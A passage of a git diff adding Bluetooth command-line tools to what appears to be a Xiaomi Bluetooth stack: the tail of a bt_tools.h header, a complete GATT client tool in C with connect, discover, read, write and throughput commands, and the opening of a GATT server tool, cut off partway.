bttool_async_ins_init(bttool_t* bttool); +void bttool_async_ins_uninit(bttool_t* bttool); + +int execute_command_in_table(void* handle, bt_command_t* table, uint32_t table_size, int argc, char* argv[]); +int execute_command_in_table_offset(void* handle, bt_command_t* table, uint32_t table_size, int argc, char* argv[], uint8_t offset); + +int log_command(void* handle, int argc, char* argv[]); +int log_command_async(void* handle, int argc, char* argv[]); +int adv_command_exec(void* handle, int argc, char* argv[]); +int adv_command_exec_async(void* handle, int argc, char* argv[]); + +int scan_command_init(void* handle); +void scan_command_uninit(void* handle); +int scan_command_exec(void* handle, int argc, char* argv[]); +int scan_command_init_async(void* handle); +void scan_command_uninit_async(void* handle); +int scan_command_exec_async(void* handle, int argc, char* argv[]); + +int l2cap_command_init(void* handle); +void l2cap_command_uninit(void* handle); +int l2cap_command_exec(void* handle, int argc, char* argv[]); + +int a2dp_sink_commond_init(void* handle); +int a2dp_sink_commond_uninit(void* handle); +int a2dp_sink_command_exec(void* handle, int argc, char* argv[]); + +int a2dp_src_commond_init(void* handle); +int a2dp_src_commond_uninit(void* handle); +int a2dp_src_command_exec(void* handle, int argc, char* argv[]); + +int avrcp_control_commond_init(void* handle); +int avrcp_control_commond_uninit(void* handle); +int avrcp_control_command_exec(void* handle, int argc, char* argv[]); + +int hfp_hf_commond_init(void* handle); +int hfp_hf_commond_uninit(void* handle); +int hfp_hf_command_exec(void* handle, int argc, char* argv[]); + +int hfp_ag_commond_init(void* handle); +int hfp_ag_commond_uninit(void* handle); +int hfp_ag_command_exec(void* handle, int argc, char* argv[]); + +int spp_command_init(void* handle); +void spp_command_uninit(void* handle); +int spp_command_exec(void* handle, int argc, char* argv[]); + +int hidd_command_init(void* handle); +void hidd_command_uninit(void* handle); +int hidd_command_exec(void* handle, int argc, char* argv[]); + +int pan_command_init(void* handle); +void pan_command_uninit(void* handle); +int pan_command_exec(void* handle, int argc, char* argv[]); + +int gattc_command_init(void* handle); +int gattc_command_uninit(void* handle); +int gattc_command_exec(void* handle, int argc, char* argv[]); +int gattc_command_init_async(void* handle); +int gattc_command_uninit_async(void* handle); +int gattc_command_exec_async(void* handle, int argc, char* argv[]); + +int gatts_command_init(void* handle); +int gatts_command_uninit(void* handle); +int gatts_command_exec(void* handle, int argc, char* argv[]); + +int leas_command_init(void* handle); +void leas_command_uninit(void* handle); +int leas_command_exec(void* handle, int argc, char* argv[]); + +int lea_mcp_commond_init(void* handle); +void lea_mcp_commond_uninit(void* handle); +int lea_mcp_command_exec(void* handle, int argc, char* argv[]); + +int lea_ccp_command_init(void* handle); +void lea_ccp_command_uninit(void* handle); +int lea_ccp_command_exec(void* handle, int argc, char* argv[]); + +int lea_vmics_command_init(void* handle); +void lea_vmics_command_uninit(void* handle); +int vmics_command_exec(void* handle, int argc, char* argv[]); + +int leac_command_init(void* handle); +void leac_command_uninit(void* handle); +int leac_command_exec(void* handle, int argc, char* argv[]); + +int lea_mcs_commond_init(void* handle); +void lea_mcs_commond_uninit(void* handle); +int lea_mcs_command_exec(void* handle, int argc, char* argv[]); + +int lea_tbs_command_init(void* handle); +void lea_tbs_command_uninit(void* handle); +int lea_tbs_command_exec(void* handle, int argc, char* argv[]); + +int lea_vmicp_command_init(void* handle); +void lea_vmicp_command_uninit(void* handle); +int vmicp_command_exec(void* handle, int argc, char* argv[]); + +int storage_command_init(void* handle); +void storage_command_uninit(void* handle); +int storage_command_exec(void* handle, int argc, char* argv[]); + +#endif /* __BT_TOOLS_H__ */ diff --git a/tools/gatt_client.c b/tools/gatt_client.c new file mode 100644 index 0000000000000000000000000000000000000000..addd1e9999490bbf6a8eff4b52f1b6aa488e81f1 --- /dev/null +++ b/tools/gatt_client.c @@ -0,0 +1,761 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +#include "bluetooth.h" +#include "bt_config.h" +#include "bt_device.h" +#include "bt_gattc.h" +#include "bt_tools.h" + +#define THROUGHTPUT_HORIZON 5 + +typedef struct { + gattc_handle_t handle; + bt_address_t remote_address; + connection_state_t conn_state; + uint16_t gatt_mtu; +} gattc_device_t; + +static int create_cmd(void* handle, int argc, char* argv[]); +static int delete_cmd(void* handle, int argc, char* argv[]); +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int discover_services_cmd(void* handle, int argc, char* argv[]); +static int read_request_cmd(void* handle, int argc, char* argv[]); +static int write_cmd(void* handle, int argc, char* argv[]); +static int write_request_cmd(void* handle, int argc, char* argv[]); +static int write_signed_cmd(void* handle, int argc, char* argv[]); +static int enable_cccd_cmd(void* handle, int argc, char* argv[]); +static int disable_cccd_cmd(void* handle, int argc, char* argv[]); +static int exchange_mtu_cmd(void* handle, int argc, char* argv[]); +static int update_conn_cmd(void* handle, int argc, char* argv[]); +static int read_phy_cmd(void* handle, int argc, char* argv[]); +static int update_phy_cmd(void* handle, int argc, char* argv[]); +static int read_rssi_cmd(void* handle, int argc, char* argv[]); +static int throughput_cmd(void* handle, int argc, char* argv[]); + +#define GATTC_CONNECTION_MAX (CONFIG_BLUETOOTH_GATTC_MAX_CONNECTIONS) +static gattc_device_t g_gattc_devies[GATTC_CONNECTION_MAX]; +static volatile uint32_t throughtput_cursor = 0; + +#define CHECK_CONNCTION_ID(id) \ + { \ + if (id < 0 || id >= GATTC_CONNECTION_MAX) { \ + PRINT("invalid connection id: %d", id); \ + return CMD_INVALID_OPT; \ + } \ + if (!g_gattc_devies[id].handle) { \ + PRINT("connection[%d] is not created!", id); \ + return CMD_INVALID_OPT; \ + } \ + } + +static bt_command_t g_gattc_tables[] = { + { "create", create_cmd, 0, "\"create gatt client :\"" }, + { "delete", delete_cmd, 0, "\"delete gatt client :<conn id>\"" }, + { "connect", connect_cmd, 0, "\"connect remote device :<conn id><address>[addr type(0:public,1:random,2:public_id,3:random_id)]\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect remote device :<conn id>\"" }, + { "discover", discover_services_cmd, 0, "\"discover all services : <conn id> [uuid]\"\n" + "\t\t\t e.g., discover 0\n" + "\t\t\t e.g., discover 0 1800" }, + { "read_request", read_request_cmd, 0, "\"read request :<conn id><char id>\"" }, + { "write_cmd", write_cmd, 0, "\"write cmd :<conn id><char id><type>(str or hex)<playload>\n" + "\t\t\t e.g., write_cmd 0 0001 str HelloWorld!\n" + "\t\t\t e.g., write_cmd 0 0001 hex 00 01 02 03\"" }, + { "write_request", write_request_cmd, 0, "\"write request with response : <conn id><har id><type>(str or hex)<payload>\"\n" + "\t\t\t e.g., write_request 0 0001 str HelloACK\n" + "\t\t\t e.g., write_request 0 0001 hex 0A 0B 0C 0D\"" }, + { "write_signed", write_signed_cmd, 0, "\"signed write without response : <conn id><har id><type>(str or hex)<payload>\"\n" + "\t\t\t e.g., write_signed 0 0001 str HelloACK\n" + "\t\t\t e.g., write_signed 0 0001 hex 0A 0B 0C 0D\"" }, + { "enable_cccd", enable_cccd_cmd, 0, "\"enable cccd(1: NOTIFY, 2: INDICATE) :<conn id><char id><ccc value>\"" }, + { "disable_cccd", disable_cccd_cmd, 0, "\"disable cccd :<conn id><char id>\"" }, + { "exchange_mtu", exchange_mtu_cmd, 0, "\"exchange mtu :<conn id><mtu>\"" }, + { "update_conn", update_conn_cmd, 0, "\"update connection parameter :<conn id><min_interval><max_interval><latency><timeout><min_connection_event_length><max_connection_event_length>\"" }, + { "read_phy", read_phy_cmd, 0, "\"read phy :<conn id>\"" }, + { "update_phy", update_phy_cmd, 0, "\"update phy(0: 1M, 1: 2M, 3: LE_Coded) :<conn id><tx><rx>\"" }, + { "read_rssi", read_rssi_cmd, 0, "\"read remote rssi :<conn id>\"" }, + { "throughput", throughput_cmd, 0, "\"throughput test :<conn id><char id><seconds>\"" }, +}; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_gattc_tables); i++) { + printf("\t%-8s\t%s\n", g_gattc_tables[i].cmd, g_gattc_tables[i].help); + } +} + +static gattc_device_t* find_gattc_device(void* handle) +{ + for (int i = 0; i < GATTC_CONNECTION_MAX; i++) { + if (g_gattc_devies[i].handle == handle) + return &g_gattc_devies[i]; + } + return NULL; +} + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + ble_addr_type_t addr_type = BT_LE_ADDR_TYPE_RANDOM; + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + bt_address_t addr; + if (bt_addr_str2ba(argv[1], &addr) < 0) + return CMD_INVALID_ADDR; + + if (argc >= 3) { + addr_type = atoi(argv[2]); + if (addr_type > BT_LE_ADDR_TYPE_ANONYMOUS || addr_type < BT_LE_ADDR_TYPE_PUBLIC) { + PRINT("Invalid address type"); + return CMD_INVALID_OPT; + } + } + + if (bt_gattc_connect(g_gattc_devies[conn_id].handle, &addr, addr_type) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_disconnect(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int discover_services_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + bt_uuid_t* uuid_ptr = NULL; + bt_uuid_t uuid; + + if (argc >= 2) { + uint16_t uuid_val = (uint16_t)strtol(argv[1], NULL, 16); + uuid = BT_UUID_DECLARE_16(uuid_val); + uuid_ptr = &uuid; + } + + if (bt_gattc_discover_service(g_gattc_devies[conn_id].handle, uuid_ptr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_request_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (bt_gattc_read(g_gattc_devies[conn_id].handle, attr_handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int write_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + int len, i; + uint8_t* value = NULL; + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (!strcmp(argv[2], "str")) { + if (bt_gattc_write_without_response(g_gattc_devies[conn_id].handle, attr_handle, + (uint8_t*)argv[3], strlen(argv[3])) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else if (!strcmp(argv[2], "hex")) { + len = argc - 3; + if (len <= 0 || len > 0xFFFF) + return CMD_USAGE_FAULT; + + value = malloc(len); + if (!value) + return CMD_ERROR; + + for (i = 0; i < len; i++) + value[i] = (uint8_t)(strtol(argv[3 + i], NULL, 16) & 0xFF); + if (bt_gattc_write_without_response(g_gattc_devies[conn_id].handle, attr_handle, value, len) != BT_STATUS_SUCCESS) + goto error; + } else + return CMD_INVALID_PARAM; + + if (value) + free(value); + + return CMD_OK; +error: + if (value) + free(value); + return CMD_ERROR; +} + +static int write_signed_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + int len, i; + uint8_t* value = NULL; + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (!strcmp(argv[2], "str")) { + if (bt_gattc_write_with_signed(g_gattc_devies[conn_id].handle, attr_handle, + (uint8_t*)argv[3], strlen(argv[3])) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + } else if (!strcmp(argv[2], "hex")) { + len = argc - 3; + if (len <= 0 || len > 0xFFFF) + return CMD_USAGE_FAULT; + + value = malloc(len); + if (!value) + return CMD_ERROR; + + for (i = 0; i < len; i++) + value[i] = (uint8_t)(strtol(argv[3 + i], NULL, 16) & 0xFF); + if (bt_gattc_write_with_signed(g_gattc_devies[conn_id].handle, attr_handle, value, len) != BT_STATUS_SUCCESS) + goto error; + } else + return CMD_INVALID_PARAM; + + if (value) + free(value); + + return CMD_OK; +error: + if (value) + free(value); + return CMD_ERROR; +} + +static int write_request_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 4) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + int len, i; + uint8_t* value = NULL; + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = (uint16_t)strtol(argv[1], NULL, 16); + + if (!strcmp(argv[2], "str")) { + if (bt_gattc_write(g_gattc_devies[conn_id].handle, attr_handle, + (uint8_t*)argv[3], strlen(argv[3])) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + + } else if (!strcmp(argv[2], "hex")) { + len = argc - 3; + if (len <= 0 || len > 0xFFFF) + return CMD_USAGE_FAULT; + + value = malloc(len); + if (!value) + return CMD_ERROR; + + for (i = 0; i < len; i++) { + value[i] = (uint8_t)(strtol(argv[3 + i], NULL, 16) & 0xFF); + } + + if (bt_gattc_write(g_gattc_devies[conn_id].handle, attr_handle, + value, len) + != BT_STATUS_SUCCESS) + goto error; + } else { + return CMD_INVALID_PARAM; + } + + if (value) + free(value); + + return CMD_OK; + +error: + if (value) + free(value); + return CMD_ERROR; +} + +static int enable_cccd_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + uint16_t ccc_value = atoi(argv[2]); + + if (bt_gattc_subscribe(g_gattc_devies[conn_id].handle, attr_handle, ccc_value) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int disable_cccd_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + if (bt_gattc_unsubscribe(g_gattc_devies[conn_id].handle, attr_handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int exchange_mtu_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint32_t mtu = atoi(argv[1]); + + if (bt_gattc_exchange_mtu(g_gattc_devies[conn_id].handle, mtu) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_conn_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 7) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + uint32_t min_interval = atoi(argv[1]); + uint32_t max_interval = atoi(argv[2]); + uint32_t latency = atoi(argv[3]); + uint32_t timeout = atoi(argv[4]); + uint32_t min_connection_event_length = atoi(argv[5]); + uint32_t max_connection_event_length = atoi(argv[6]); + + if (bt_gattc_update_connection_parameter(g_gattc_devies[conn_id].handle, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length) + != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_read_phy(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int update_phy_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + int tx = atoi(argv[1]); + int rx = atoi(argv[2]); + + if (bt_gattc_update_phy(g_gattc_devies[conn_id].handle, tx, rx) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int read_rssi_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_read_rssi(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int throughput_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 3) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + int32_t test_time = atoi(argv[2]); + if (test_time <= 0) + return CMD_INVALID_OPT; + + if (g_gattc_devies[conn_id].conn_state != CONNECTION_STATE_CONNECTED) { + PRINT("connection[%d] is not connected to any device!", conn_id); + return CMD_ERROR; + } + + uint16_t attr_handle = strtol(argv[1], NULL, 16); + + uint32_t write_length = g_gattc_devies[conn_id].gatt_mtu; + uint8_t* payload = (uint8_t*)malloc(sizeof(uint8_t) * write_length); + if (!payload) { + PRINT("write payload malloc failed"); + return CMD_ERROR; + } + + int32_t run_time = 0; + uint32_t write_count = 0; + uint32_t bit_rate = 0; + struct timespec start_ts; + + clock_gettime(CLOCK_BOOTTIME, &start_ts); + throughtput_cursor = 0; + + PRINT("gattc write throughput test start, mtu = %" PRIu32 ", time = %" PRId32 "s.", write_length, test_time); + while (1) { + struct timespec current_ts; + clock_gettime(CLOCK_BOOTTIME, ¤t_ts); + + if (run_time < (current_ts.tv_sec - start_ts.tv_sec)) { + run_time = (current_ts.tv_sec - start_ts.tv_sec); + bit_rate = write_length * write_count / run_time; + PRINT("gattc write Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", bit_rate, bit_rate << 3, run_time); + } + + if (run_time >= test_time || g_gattc_devies[conn_id].conn_state != CONNECTION_STATE_CONNECTED) { + break; + } + + if (throughtput_cursor >= THROUGHTPUT_HORIZON) { + usleep(500); + continue; + } + + memset(payload, write_count & 0xFF, write_length); + int ret = bt_gattc_write_without_response(g_gattc_devies[conn_id].handle, attr_handle, payload, write_length); + if (ret != BT_STATUS_SUCCESS) { + PRINT("write failed, ret: %d.", ret); + break; + } + throughtput_cursor++; + write_count++; + } + free(payload); + + if (run_time <= 0) { + PRINT("gattc write throughput test failed due to an unexpected interruption!"); + return CMD_ERROR; + } + + bit_rate = write_length * write_count / run_time; + PRINT("gattc write throughput test finish, Bit rate = %" PRIu32 " Byte/s, = %" PRIu32 " bit/s, time = %" PRId32 "s.", + bit_rate, bit_rate << 3, run_time); + + return CMD_OK; +} + +static void connect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + memcpy(&device->remote_address, addr, sizeof(bt_address_t)); + device->conn_state = CONNECTION_STATE_CONNECTED; + PRINT_ADDR("gattc_connect_callback, addr:%s", addr); +} + +static void disconnect_callback(void* conn_handle, bt_address_t* addr) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + device->conn_state = CONNECTION_STATE_DISCONNECTED; + PRINT_ADDR("gattc_disconnect_callback, addr:%s", addr); +} + +static void discover_callback(void* conn_handle, gatt_status_t status, bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle) +{ + gatt_attr_desc_t attr_desc; + + if (status != GATT_STATUS_SUCCESS) { + PRINT("gattc_discover_callback error %d", status); + return; + } + + if (!uuid || !uuid->type) { + PRINT("gattc_discover_callback completed"); + return; + } + + PRINT("gattc_discover_callback result, attr_handle: 0x%04x - 0x%04x", start_handle, end_handle); + + for (uint16_t attr_handle = start_handle; attr_handle <= end_handle; attr_handle++) { + if (bt_gattc_get_attribute_by_handle(conn_handle, attr_handle, &attr_desc) != BT_STATUS_SUCCESS) { + continue; + } + + switch (attr_desc.type) { + case GATT_PRIMARY_SERVICE: + printf(">[0x%04x][PRI]", attr_desc.handle); + break; + case GATT_SECONDARY_SERVICE: + printf(">[0x%04x][SND]", attr_desc.handle); + break; + case GATT_INCLUDED_SERVICE: + printf("> [0x%04x][INC]", attr_desc.handle); + break; + case GATT_CHARACTERISTIC: + printf("> [0x%04x][CHR]", attr_desc.handle); + break; + case GATT_DESCRIPTOR: + printf("> [0x%04x][DES]", attr_desc.handle); + break; + } + printf("[PROP:0x%04" PRIx32, attr_desc.properties); + if (attr_desc.properties) { + printf(","); + if (attr_desc.properties & GATT_PROP_READ) { + printf("R"); + } + if (attr_desc.properties & GATT_PROP_WRITE_NR) { + printf("Wn"); + } + if (attr_desc.properties & GATT_PROP_WRITE) { + printf("W"); + } + if (attr_desc.properties & GATT_PROP_NOTIFY) { + printf("N"); + } + if (attr_desc.properties & GATT_PROP_INDICATE) { + printf("I"); + } + } + printf("]"); + + uint8_t* b_uuid = attr_desc.uuid.val.u128; + printf("[0x%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x]\r\n", + b_uuid[15], b_uuid[14], b_uuid[13], b_uuid[12], + b_uuid[11], b_uuid[10], b_uuid[9], b_uuid[8], + b_uuid[7], b_uuid[6], b_uuid[5], b_uuid[4], + b_uuid[3], b_uuid[2], b_uuid[1], b_uuid[0]); + } + printf(">"); +} + +static void read_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + PRINT("gattc connection read complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + lib_dumpbuffer("read value:", value, length); +} + +static void write_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle) +{ + if (status != GATT_STATUS_SUCCESS) { + PRINT("gattc connection write failed, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + return; + } + + if (throughtput_cursor) { + throughtput_cursor--; + } else { + PRINT("gattc connection write complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); + } +} + +static void subscribe_complete_callback(void* conn_handle, gatt_status_t status, uint16_t attr_handle, bool enable) +{ + PRINT("gattc connection subscribe complete, handle 0x%" PRIx16 ", status:%d, enable:%d", attr_handle, status, enable); +} + +static void notify_received_callback(void* conn_handle, uint16_t attr_handle, + uint8_t* value, uint16_t length) +{ + PRINT("gattc connection receive notify, handle 0x%" PRIx16, attr_handle); + lib_dumpbuffer("notify value:", value, length); +} + +static void mtu_updated_callback(void* conn_handle, gatt_status_t status, uint32_t mtu) +{ + gattc_device_t* device = find_gattc_device(conn_handle); + + assert(device); + if (status == GATT_STATUS_SUCCESS) { + device->gatt_mtu = mtu; + } + PRINT("gattc_mtu_updated_callback, status:%d, mtu:%" PRIu32, status, mtu); +} + +static void phy_read_callback(void* conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc read phy complete, tx:%d, rx:%d", tx_phy, rx_phy); +} + +static void phy_updated_callback(void* conn_handle, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT("gattc_phy_updated_callback, status:%d, tx:%d, rx:%d", status, tx_phy, rx_phy); +} + +static void rssi_read_callback(void* conn_handle, gatt_status_t status, int32_t rssi) +{ + PRINT("gattc read rssi complete, status:%d, rssi:%" PRIi32, status, rssi); +} + +static void conn_param_updated_callback(void* conn_handle, bt_status_t status, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + PRINT("gattc connection paramter updated, status:%d, interval:%" PRIu16 ", latency:%" PRIu16 ", timeout:%" PRIu16, + status, connection_interval, peripheral_latency, supervision_timeout); +} + +static gattc_callbacks_t gattc_cbs = { + sizeof(gattc_cbs), + connect_callback, + disconnect_callback, + discover_callback, + read_complete_callback, + write_complete_callback, + subscribe_complete_callback, + notify_received_callback, + mtu_updated_callback, + phy_read_callback, + phy_updated_callback, + rssi_read_callback, + conn_param_updated_callback, +}; + +static int create_cmd(void* handle, int argc, char* argv[]) +{ + int conn_id; + + for (conn_id = 0; conn_id < GATTC_CONNECTION_MAX; conn_id++) { + if (g_gattc_devies[conn_id].handle == NULL) + break; + } + + if (conn_id >= GATTC_CONNECTION_MAX) { + PRINT("No unused connection id"); + return CMD_OK; + } + + if (bt_gattc_create_connect(handle, &g_gattc_devies[conn_id].handle, &gattc_cbs) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("create connection success, conn_id: %d", conn_id); + return CMD_OK; +} + +static int delete_cmd(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + int conn_id = atoi(argv[0]); + CHECK_CONNCTION_ID(conn_id); + + if (bt_gattc_delete_connect(g_gattc_devies[conn_id].handle) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("delete connection success, conn_id: %d", conn_id); + return CMD_OK; +} + +int gattc_command_init(void* handle) +{ + memset(g_gattc_devies, 0, sizeof(g_gattc_devies)); + return 0; +} + +int gattc_command_uninit(void* handle) +{ + for (int i = 0; i < GATTC_CONNECTION_MAX; i++) { + if (g_gattc_devies[i].handle) { + bt_gattc_delete_connect(g_gattc_devies[i].handle); + } + } + + return 0; +} + +int gattc_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_gattc_tables, ARRAY_SIZE(g_gattc_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/gatt_server.c b/tools/gatt_server.c new file mode 100644 index 0000000000000000000000000000000000000000..e560e6cb13c662e7577f151e0e13151861374e1d --- /dev/null +++ b/tools/gatt_server.c @@ -0,0 +1,839 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +#include "bluetooth.h" +#include "bt_gatts.h" +#include "bt_tools.h" + +#define THROUGHTPUT_HORIZON 5 +#define ATT_HEADER_SIZE 3 +#define MAX_ATTRIBUTE_SIZE 512 +#define RW_CHAR_SIZE_DEFAULT 11 + +typedef struct { + struct list_node node; + bt_address_t remote_address; + uint16_t gatt_mtu; +} gatts_device_t; + +static int register_cmd(void* handle, int argc, char* argv[]); +static int unregister_cmd(void* handle, int argc, char* argv[]); +static int start_cmd(void* handle, int argc, char* argv[]); +static int stop_cmd(void* handle, int argc, char* argv[]); +static int connect_cmd(void* handle, int argc, char* argv[]); +static int disconnect_cmd(void* handle, int argc, char* argv[]); +static int notify_bas_cmd(void* handle, int argc, char* argv[]); +static int notify_cus_cmd(void* handle, int argc, char* argv[]); +static int indicate_cus_cmd(void* handle, int argc, char* argv[]); +static int read_phy_cmd(void* handle, int argc, char* argv[]); +static int update_phy_cmd(void* handle, int argc, char* argv[]); +static int throughput_cmd(void* handle, int argc, char* argv[]); + +static gatts_device_t* find_gatts_device(bt_address_t* addr); + +static gatts_handle_t g_dis_handle = NULL; +static gatts_handle_t g_bas_handle = NULL; +static gatts_handle_t g_custom_handle = NULL; +static volatile uint32_t throughtput_cursor = 0; +static uint16_t cccd_enable = 0; +static struct list_node gatts_device_list = LIST_INITIAL_VALUE(gatts_device_list); + +enum { + GATT_SERVICE_DIS = 1, + GATT_SERVICE_BAS = 2, + GATT_SERVICE_CUSTOM = 3 +}; + +#define GET_SERVICE_HANDLE(id, handle) \ + { \ + switch (id) { \ + case GATT_SERVICE_DIS: \ + handle = g_dis_handle; \ + break; \ + case GATT_SERVICE_BAS: \ + handle = g_bas_handle; \ + break; \ + case GATT_SERVICE_CUSTOM: \ + handle = g_custom_handle; \ + break; \ + default: \ + PRINT("invalid service id: %d", id); \ + return CMD_INVALID_OPT; \ + } \ + if (!handle) { \ + PRINT("service[%d] is not registered!", id); \ + return CMD_ERROR; \ + } \ + } + +enum { + /* IDs of Device Information service */ + DIS_SERVICE_ID = 1, + DIS_MODEL_NUMBER_CHR_ID, + DIS_MANUFACTURER_NAME_CHR_ID, + DIS_PNP_CHR_ID, +}; + +enum { + /* IDs of Battery service */ + BAS_SERVICE_ID = 1, + BAS_BATTERY_LEVEL_CHR_ID, + BAS_BATTERY_LEVEL_CHR_CCC_ID, +}; + +enum { + /* IDs of Private IOT service */ + IOT_SERVICE_ID = 1, + IOT_SERVICE_TX_CHR_ID, + IOT_SERVICE_TX_CHR_CCC_ID, + IOT_SERVICE_RX_CHR_ID, + IOT_SERVICE_READ_CHR_ID, + IOT_SERVICE_PTS_MTU_CHR_ID, + IOT_SERVICE_SIGN_RW_CHR_ID, + 